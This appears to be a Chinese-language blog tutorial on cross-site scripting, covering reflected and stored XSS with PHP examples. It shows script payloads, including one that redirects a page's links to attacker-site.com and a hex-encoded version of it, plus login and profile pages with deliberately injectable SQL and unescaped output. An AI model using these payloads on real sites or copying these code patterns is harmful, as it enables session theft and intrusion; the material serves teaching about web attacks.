xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
下面我们通过具体例子,了解两种类型xss攻击。
1.非持久型xss攻击
顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
<?php $name</span> = <span style="color: #800080;">$_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>"; ?>
该页面显示两行信息:
- 从URI获取 ‘name’ 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,将产生以下html代码,带’attacked’的告警提示框弹出:
Welcome guest <script>alert('attacked')</script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:
index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:
Welcome <script> window.onload = function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} </script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
用户再点击 “Click to Download” 时,将跳转至攻击者提供的链接。
对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2.持久型xss攻击
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
<?php $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string</span>="host=<span style="color: #800080;">$Host dbname=$Dbname</span> user=<span style="color: #800080;">$User password=$Password"; /* Connect with database asking for a new connection*/ $Connect</span>=pg_connect(<span style="color: #800080;">$Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (!$Connect) { echo "Database Connection Failure"; exit; } $query</span>="SELECT user_name,password from <span style="color: #800080;">$Schema.members where user_name='".$_POST['user_name']."';"; $result</span>=pg_query(<span style="color: #800080;">$Connect,$query); $row</span>=pg_fetch_array(<span style="color: #800080;">$result,NULL,PGSQL_ASSOC); $user_pass</span> = <span style="color: #008080;">md5</span>(<span style="color: #800080;">$_POST['pass_word']); $user_name</span> = <span style="color: #800080;">$row['user_name']; if(strcmp($user_pass</span>,<span style="color: #800080;">$row['password'])!=0) { echo "Login failed"; } else { # Start the session session_start(); $_SESSION</span>['USER_NAME'] = <span style="color: #800080;">$user_name; echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>"; } ?>
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
<?php session_start(); if(!$_SESSION['USER_NAME']) { echo "Need to login"; } else { $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string</span>="host=<span style="color: #800080;">$Host dbname=$Dbname</span> user=<span style="color: #800080;">$User password=$Password"; $Connect</span>=pg_connect(<span style="color: #800080;">$Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER['REQUEST_METHOD'] == "POST") { $query</span>="update <span style="color: #800080;">$Schema.members set display_name='".$_POST</span>['disp_name']."' where user_name='".<span style="color: #800080;">$_SESSION['USER_NAME']."';"; pg_query($Connect</span>,<span style="color: #800080;">$query); echo "Update Success"; } else { if(strcmp($_SESSION['USER_NAME'],'admin')==0) { echo "Welcome admin<br><hr>"; echo "List of user's are<br>"; $query</span> = "select display_name from <span style="color: #800080;">$Schema.members where user_name!='admin'"; $res</span> = pg_query(<span style="color: #800080;">$Connect,$query); while($row</span>=pg_fetch_array(<span style="color: #800080;">$res,NULL,PGSQL_ASSOC)) { echo "$row[display_name]<br>"; } } else { echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; echo "<input type=\"submit\" value=\"Update\">"; } } } ?>